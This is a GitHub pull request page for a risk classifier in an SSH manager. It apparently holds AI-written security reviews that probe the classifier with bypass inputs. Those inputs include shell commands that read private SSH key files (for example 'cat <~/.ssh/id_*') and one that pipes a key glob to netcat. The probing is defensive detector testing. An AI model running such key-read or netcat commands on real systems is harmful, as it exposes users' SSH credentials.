Repository navigation
fix(core): rate glob key reads red with glued redirect or backticks - #1594
smart-ssh-coordinator[bot] merged 2 commits into
Conversation
…1593) Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
There was a problem hiding this comment.
Review
Verdict: changes requested
Review level: elevated
Blocking
-
crates/core/src/risk/classifier.rs:1019together withcut_at_redirect(:1052-1063): loosening for input redirects.cut_at_redirectkeeps only the part before the first unquoted</>. A word that starts with an input redirect therefore becomes empty, and the key glob after the operator is never checked. Concrete inputs that are data risk Red ondevelopandNonewith this PR (executed with a temporary probe test against both versions):cat <~/.ssh/backup_id_*cat <~/.ssh/id_*cat 0<~/.ssh/backup_id_*
cat <filereads the key just likecat file. When the glob has exactly one match, bash expands it and the key is printed. The issue asks for "only adds Red, never lowers a rating" (Technical Notes), and AGENTS.md says the same forcrates/core/src/risk/. Suggested fix: judge the part after an unquoted<as well. You could split the word at unquoted redirect operators and check every non-empty part, or at least the part following</0<. Add these three inputs as Red cases next to the new tests.
Non-blocking
- None.
Verified
- counter-proof:
glob_reads_with_glued_redirect_or_backticks_are_redfails withclassifier.rsfromorigin/develop(cat ~/.ssh/backup_id_*>/tmp/xasserts) and passes with the PR (executed:git checkout origin/develop -- crates/core/src/risk/classifier.rs; cargo test -p ssh-manager-core glob_reads_with_glued, then restored) - loosening probe: inputs listed above, Red → None (executed: temporary probe test run on both versions, then removed)
- edge cases (executed, PR version):
cat ~/.ssh/BACKUP_ID_*>/tmp/x→ Red (ok, lowercased);echo `cat ~/.ssh/backup_id_*>/tmp/x`→ Red (ok);echo $(cat ~/.ssh/backup_id_*>/tmp/x)→ Red (ok);cat "~/.ssh/backup_id_*">/tmp/x→ Red (over-escalation, harmless);cat ~/.ssh/*.pub>/tmp/x,i*>,*id*>→ None (ok, near misses kept) - callers checked:
glob_reads_private_key(1 call site,classifier.rs:173, only raises to Red) → ok;cut_at_redirect(1 call site) → finding above - tests run locally:
cargo test -q --locked -p ssh-manager-core risk→ 149 passed (executed) - files read: 2/2 logic files (read: full diff of
classifier.rsandtests_ssh_key_names.rs, plus the surroundingglob_reads_private_key) - CI: all checks green (executed:
gh pr checks 1594) - UI: not a UI change
- data: not touched
Timing analysis
- 1 test file analysed (
tests_ssh_key_names.rs, 2 new tests): no timing dependency found. The tests are synchronousclassify()calls on fixed strings.
Spec
- visible behaviour changed: more glob key-read forms (glued redirect, backticks) get the red data-risk label
- spec searched (
rg -il 'backup_id|platzhalter|glob' docs/specs/), spec covering it: 0026 "Beispiele Daten-Risiko" (a placeholder that can match a private key name is red) - verdict: not needed. The spec already states the rule independent of word form, and this is a fix against that rule.
Security checks
- review-level
elevated(labelsecurity,crates/core/src/risk/). Loosening check againstorigin/develop: one loosening found (input redirect, see Blocking). - bypass attempts (executed): uppercase,
$()/backtick nesting, glued>/>>/</0<, quoted glob with glued redirect, pipe glued to the glob (backup_id_*|nc x 1→ Red, because the segment is split at the pipe). Only the input-redirect forms regress. - secret-path check untouched (diff confirms). The confirmation escalation through that check is unaffected.
- Threat model: "no change" note is fine once the loosening is fixed (label-only change).
Follow-ups
- None.
…1593) Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
|
Review point (loosening via |
There was a problem hiding this comment.
Review
Verdict: approved
Review level: elevated
Blocking
- None.
Non-blocking
- None.
Verified
- counter-proof:
glob_reads_with_glued_redirect_or_backticks_are_redfails withclassifier.rsfrom the previously reviewed commit 6b1cd0f (cat <~/.ssh/backup_id_*asserts) and passes with d16f984 (executed:git checkout 6b1cd0f8 -- crates/core/src/risk/classifier.rs; cargo test -p ssh-manager-core glob_reads_with_glued, then restored). The first-round counter-proof againstorigin/developstill applies, because the>/>>/backtick cases are unchanged. - loosening probe against
origin/develop(executed: temporary probe test run on both classifier versions, then removed;git statusclean):cat <~/.ssh/backup_id_*,cat <~/.ssh/id_*,cat 0<~/.ssh/backup_id_*,head -n1 <~/.ssh/my_id_*,echo `cat <~/.ssh/backup_id_*`,cat ~/.ssh/x>~/.ssh/id_*,cat 2>/dev/null ~/.ssh/backup_id_*,cat ~/.ssh/{id_rsa,x>y},cat ~/.ssh/{x>y,id_rsa}→ Red on both- newly Red:
cat ~/.ssh/{x,id_*}>y,cat ~/.ssh/id_*<>x,cat ~/.ssh/backup_id_*>&2,cat "~/.ssh/backup_id_*">x - near misses stay None on both:
cat ~/.ssh/*,*.pub<x,i*>x,*id*>x,cat <~/.ssh/known_* - only Red → None:
cat ~/.ssh/id_[r>]*. I dismissed it: in a shell, an unquoted>is a metacharacter even inside[...], so this command runscat ~/.ssh/id_[rwith stdout redirected to]*. It reads no key. The develop rating was a mis-tokenisation, not a protection, and the secret-path check is unchanged.
- edge cases (executed): glob glued to
2>/>&2, quoted glob with a glued redirect,<>operator, input redirect inside backticks → all as listed above - callers checked:
glob_reads_private_key(1 call site,classifier.rs:173, only raises to Red) → ok;split_at_redirects(1 call site) → ok - tests run locally:
cargo test -q --locked -p ssh-manager-core risk→ 149 passed (executed);cargo fmt --all --checkandcargo clippy -p ssh-manager-core --all-targets -D warningsclean (executed) - files read: 2/2 logic files (read: full diff of
classifier.rsandtests_ssh_key_names.rs, delta 6b1cd0f..d16f984, the wholeglob_reads_private_key) - CI: 9 pass, 1 skipping (executed:
gh pr checks 1594) - UI: not a UI change
- data: not touched
Timing analysis
- 1 test file analysed (
tests_ssh_key_names.rs): no timing dependency found. The tests are pure synchronousclassify()calls.
Spec
- visible behaviour changed: more forms of glob key reads (glued redirect, input redirect, backticks) get the red data-risk label
- spec searched (
rg -il 'backup_id|platzhalter|glob' docs/specs/), spec covering it: 0026 §2, data-risk examples (lines 83-84: a placeholder that can match a private key name is red) - verdict: not needed. The spec states the rule regardless of word form, and this PR fixes the code against that rule.
Security checks
- review-level
elevated(labelssecurity/filter-engine, pathcrates/core/src/risk/). Loosening check: see the probe above. No real key read lost its Red rating. - secret-path check untouched (diff confirms). Escalation only, via
acc.data_risk < Redguard. - Threat model: "no change" note is valid. The PR only changes a label.
Previous findings
- Input-redirect loosening (
cat <~/.ssh/backup_id_*,cat <~/.ssh/id_*,cat 0<~/.ssh/backup_id_*) → fixed in d16f984. Every part around an unquoted redirect is now judged, and the three inputs are Red test cases.
Follow-ups
- None.
Closes #1593
Summary
glob_reads_private_keynow cuts each word at an unquoted</>and trims backticks, so the glob part is judged on its own. Only adds Red; secret-path check untouched.Acceptance Criteria
cat ~/.ssh/backup_id_*>/tmp/x,id_*>>/tmp/x: met (tests_ssh_key_names:glob_reads_with_glued_redirect_or_backticks_are_red)*.pub>,known_*>non-Red: met (glob_reads_with_glued_redirect_stay_non_red_for_near_misses)cargo test -p ssh-manager-corerisk tests: met (149 passed)Assumptions
Patched the trim instead of reusing the tokenizer (simpler; same criteria).
Spec: none (rule from 0026 §2 applied to more word forms)
Threat model: no change – only adds a Red label for an already-escalated case.
Manual test steps
None.
Follow-ups
None.
🤖 Generated with Claude Code